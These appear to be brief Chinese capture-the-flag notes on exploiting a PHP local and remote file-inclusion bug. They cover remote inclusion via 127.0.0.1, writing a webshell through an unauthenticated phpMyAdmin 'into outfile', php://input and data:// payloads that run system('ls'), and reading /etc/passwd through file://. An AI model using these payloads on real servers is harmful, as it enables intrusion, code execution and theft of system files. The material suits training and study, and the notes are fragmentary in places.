show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
http://111.200.241.244:57895/?page=http://127.0.0.1/?hello=
http://111.200.241.244:57895/?page=http://127.0.0.1/?hello=
路径扫描能找到phpmyadmin
账号root 密码为空
phpmyadmin变量secure_file_priv值为空,说明可以写入一句话木马
show variables like "secure_file_priv";
传成功
select ""into outfile '/tmp/1.php'
测试
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:
http://111.200.241.244:59458/?page=data://text/plain,
http://111.200.241.244:59458/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响
即file:// [文件的绝对路径和文件名]
http://111.200.241.244:59458/?page=file:///etc/passwd